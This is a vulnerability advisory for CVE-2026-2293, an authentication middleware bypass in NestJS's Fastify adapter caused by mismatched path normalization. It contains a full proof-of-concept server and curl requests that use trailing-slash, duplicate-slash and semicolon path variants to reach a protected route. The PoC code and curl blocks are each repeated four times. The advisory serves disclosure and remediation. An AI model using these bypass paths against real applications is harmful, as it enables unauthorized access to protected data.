Description A NestJS application using @nestjs/platform-fastify can allow bypass of authentication/authorization middleware when Fastify path-normalization options (e.g., ignoreTrailingSlash, ignoreDuplicateSlashes, useSemicolonDelimiter) are enabled. In affected route-scoped middleware setups, variant paths may skip middleware checks while still reaching the protected handler.
Vulnerability The bug is a path canonicalization mismatch between middleware matching and route matching in Nest’s Fastify adapter.
Nest passes Fastify routerOptions (such as ignoreTrailingSlash, ignoreDuplicateSlashes, and useSemicolonDelimiter) to the Fastify router in packages/platform-fastify/adapters/fastify-adapter.ts:253 .
But middleware execution is decided by a separate regex check over req.originalUrl in packages/platform-fastify/adapters/fastify-adapter.ts:706 and packages/platform-fastify/adapters/fastify-adapter.ts:713 .
If that regex does not match, Nest does next() and skips the middleware (packages/platform-fastify/adapters/fastify-adapter.ts:714 ), while Fastify may still normalize the same path and route it to the protected handler. So the vulnerability exists because security checks (middleware) and request dispatch(router) use different URL interpretations.
This is a fail-open design issue (inconsistent normalization), not just a bad app config: non-default router options make the mismatch reachable.
PoC Use the following code for the PoC
import 'reflect-metadata' ;
import {
Controller ,
Get ,
Injectable ,
MiddlewareConsumer ,
Module ,
NestModule ,
RequestMethod ,
} from '@nestjs/common' ;
import { NestFactory } from '@nestjs/core' ;
import { FastifyAdapter , NestFastifyApplication } from '@nestjs/platform-fastify' ;
@Injectable ( )
class AuthMiddleware {
use ( req : any, res : any, next : ( ) => void ) {
if ( req .headers [ 'x-auth' ] === '1' ) {
return next ( ) ;
}
res .statusCode = 401 ;
res .end ( 'unauthorized' ) ;
}
}
@Controller ( )
class AppController {
@Get ( 'secret' )
getSecret ( ) {
return { ok : true , secret : 'top-secret' } ;
}
}
@Module ( {
controllers : [ AppController ] ,
} )
class AppModule implements NestModule {
configure ( consumer : MiddlewareConsumer) {
consumer
.apply ( AuthMiddleware )
.forRoutes ( { path : 'secret' , method : RequestMethod .GET } ) ;
}
}
async function bootstrap ( ) {
const host = process .env .HOST ?? '127.0.0.1' ;
const port = Number ( process .env .PORT ?? 46090 ) ;
const app = await NestFactory .create <NestFastifyApplication >(
AppModule ,
new FastifyAdapter ( {
routerOptions : {
useSemicolonDelimiter : true ,
ignoreTrailingSlash : true ,
ignoreDuplicateSlashes : true ,
} ,
} as any) ,
{ logger : [ 'log' , 'error' , 'warn' ] } ,
) ;
await app .listen ( port , host ) ;
console .log ( `[ready] http:// ${ host } : ${ port } ` ) ;
console .log ( `[check] base blocked: curl -i http:// ${ host } : ${ port } /secret` ) ;
console .log ( `[check] slash bypass: curl -i http:// ${ host } : ${ port } /secret/` ) ;
console .log ( `[check] dup slash bypass: curl -i http:// ${ host } : ${ port } //secret` ) ;
console .log (
`[check] semicolon bypass: curl -i http:// ${ host } : ${ port } /secret;foo=bar` ,
) ;
}
bootstrap ( ) .catch ( err => {
console .error ( '[fatal]' , err ) ;
process .exit ( 1 ) ;
} ) ;
import 'reflect-metadata' ;
import {
Controller ,
Get ,
Injectable ,
MiddlewareConsumer ,
Module ,
NestModule ,
RequestMethod ,
} from '@nestjs/common' ;
import { NestFactory } from '@nestjs/core' ;
import { FastifyAdapter , NestFastifyApplication } from '@nestjs/platform-fastify' ;
@Injectable ( )
class AuthMiddleware {
use ( req : any, res : any, next : ( ) => void ) {
if ( req .headers [ 'x-auth' ] === '1' ) {
return next ( ) ;
}
res .statusCode = 401 ;
res .end ( 'unauthorized' ) ;
}
}
@Controller ( )
class AppController {
@Get ( 'secret' )
getSecret ( ) {
return { ok : true , secret : 'top-secret' } ;
}
}
@Module ( {
controllers : [ AppController ] ,
} )
class AppModule implements NestModule {
configure ( consumer : MiddlewareConsumer) {
consumer
.apply ( AuthMiddleware )
.forRoutes ( { path : 'secret' , method : RequestMethod .GET } ) ;
}
}
async function bootstrap ( ) {
const host = process .env .HOST ?? '127.0.0.1' ;
const port = Number ( process .env .PORT ?? 46090 ) ;
const app = await NestFactory .create <NestFastifyApplication >(
AppModule ,
new FastifyAdapter ( {
routerOptions : {
useSemicolonDelimiter : true ,
ignoreTrailingSlash : true ,
ignoreDuplicateSlashes : true ,
} ,
} as any) ,
{ logger : [ 'log' , 'error' , 'warn' ] } ,
) ;
await app .listen ( port , host ) ;
console .log ( `[ready] http:// ${ host } : ${ port } ` ) ;
console .log ( `[check] base blocked: curl -i http:// ${ host } : ${ port } /secret` ) ;
console .log ( `[check] slash bypass: curl -i http:// ${ host } : ${ port } /secret/` ) ;
console .log ( `[check] dup slash bypass: curl -i http:// ${ host } : ${ port } //secret` ) ;
console .log (
`[check] semicolon bypass: curl -i http:// ${ host } : ${ port } /secret;foo=bar` ,
) ;
}
bootstrap ( ) .catch ( err => {
console .error ( '[fatal]' , err ) ;
process .exit ( 1 ) ;
} ) ;
import 'reflect-metadata' ;
import {
Controller ,
Get ,
Injectable ,
MiddlewareConsumer ,
Module ,
NestModule ,
RequestMethod ,
} from '@nestjs/common' ;
import { NestFactory } from '@nestjs/core' ;
import { FastifyAdapter , NestFastifyApplication } from '@nestjs/platform-fastify' ;
@Injectable ( )
class AuthMiddleware {
use ( req : any, res : any, next : ( ) => void ) {
if ( req .headers [ 'x-auth' ] === '1' ) {
return next ( ) ;
}
res .statusCode = 401 ;
res .end ( 'unauthorized' ) ;
}
}
@Controller ( )
class AppController {
@Get ( 'secret' )
getSecret ( ) {
return { ok : true , secret : 'top-secret' } ;
}
}
@Module ( {
controllers : [ AppController ] ,
} )
class AppModule implements NestModule {
configure ( consumer : MiddlewareConsumer) {
consumer
.apply ( AuthMiddleware )
.forRoutes ( { path : 'secret' , method : RequestMethod .GET } ) ;
}
}
async function bootstrap ( ) {
const host = process .env .HOST ?? '127.0.0.1' ;
const port = Number ( process .env .PORT ?? 46090 ) ;
const app = await NestFactory .create <NestFastifyApplication >(
AppModule ,
new FastifyAdapter ( {
routerOptions : {
useSemicolonDelimiter : true ,
ignoreTrailingSlash : true ,
ignoreDuplicateSlashes : true ,
} ,
} as any) ,
{ logger : [ 'log' , 'error' , 'warn' ] } ,
) ;
await app .listen ( port , host ) ;
console .log ( `[ready] http:// ${ host } : ${ port } ` ) ;
console .log ( `[check] base blocked: curl -i http:// ${ host } : ${ port } /secret` ) ;
console .log ( `[check] slash bypass: curl -i http:// ${ host } : ${ port } /secret/` ) ;
console .log ( `[check] dup slash bypass: curl -i http:// ${ host } : ${ port } //secret` ) ;
console .log (
`[check] semicolon bypass: curl -i http:// ${ host } : ${ port } /secret;foo=bar` ,
) ;
}
bootstrap ( ) .catch ( err => {
console .error ( '[fatal]' , err ) ;
process .exit ( 1 ) ;
} ) ;
import 'reflect-metadata' ;
import {
Controller ,
Get ,
Injectable ,
MiddlewareConsumer ,
Module ,
NestModule ,
RequestMethod ,
} from '@nestjs/common' ;
import { NestFactory } from '@nestjs/core' ;
import { FastifyAdapter , NestFastifyApplication } from '@nestjs/platform-fastify' ;
@Injectable ( )
class AuthMiddleware {
use ( req : any, res : any, next : ( ) => void ) {
if ( req .headers [ 'x-auth' ] === '1' ) {
return next ( ) ;
}
res .statusCode = 401 ;
res .end ( 'unauthorized' ) ;
}
}
@Controller ( )
class AppController {
@Get ( 'secret' )
getSecret ( ) {
return { ok : true , secret : 'top-secret' } ;
}
}
@Module ( {
controllers : [ AppController ] ,
} )
class AppModule implements NestModule {
configure ( consumer : MiddlewareConsumer) {
consumer
.apply ( AuthMiddleware )
.forRoutes ( { path : 'secret' , method : RequestMethod .GET } ) ;
}
}
async function bootstrap ( ) {
const host = process .env .HOST ?? '127.0.0.1' ;
const port = Number ( process .env .PORT ?? 46090 ) ;
const app = await NestFactory .create <NestFastifyApplication >(
AppModule ,
new FastifyAdapter ( {
routerOptions : {
useSemicolonDelimiter : true ,
ignoreTrailingSlash : true ,
ignoreDuplicateSlashes : true ,
} ,
} as any) ,
{ logger : [ 'log' , 'error' , 'warn' ] } ,
) ;
await app .listen ( port , host ) ;
console .log ( `[ready] http:// ${ host } : ${ port } ` ) ;
console .log ( `[check] base blocked: curl -i http:// ${ host } : ${ port } /secret` ) ;
console .log ( `[check] slash bypass: curl -i http:// ${ host } : ${ port } /secret/` ) ;
console .log ( `[check] dup slash bypass: curl -i http:// ${ host } : ${ port } //secret` ) ;
console .log (
`[check] semicolon bypass: curl -i http:// ${ host } : ${ port } /secret;foo=bar` ,
) ;
}
bootstrap ( ) .catch ( err => {
console .error ( '[fatal]' , err ) ;
process .exit ( 1 ) ;
} ) ;
Send baseline request (should be blocked)
curl -i http://127.0.0.1:46150/secret
Expected: 401
curl -i http://127.0.0.1:46150/secret
Expected: 401
curl -i http://127.0.0.1:46150/secret
Expected: 401
curl -i http://127.0.0.1:46150/secret
Expected: 401
Send variant paths (bypass)
curl -i http://127.0.0.1:46150/secret/
curl -i http://127.0.0.1:46150//secret
curl -i 'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200
curl -i http://127.0.0.1:46150/secret/
curl -i http://127.0.0.1:46150//secret
curl -i 'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200
curl -i http://127.0.0.1:46150/secret/
curl -i http://127.0.0.1:46150//secret
curl -i 'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200
curl -i http://127.0.0.1:46150/secret/
curl -i http://127.0.0.1:46150//secret
curl -i 'http://127.0.0.1:46150/secret;foo=bar'
Expected: 200
Control request with an auth header
curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200
curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200
curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200
curl -i -H 'x-auth: 1' http://127.0.0.1:46150/secret
Expected: 200
Evidence of Exploitation Unauthorized
Bypass
PoC
VIDEO Our security policy We have reserved the ID CVE-2026-2293 to refer to this issue from now on.
Disclosure policy
System Information NestJS
Version 11.1.13
Operating System: Any
References Mitigation An updated version of Nest.js is available at the vendor page.
Credits The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.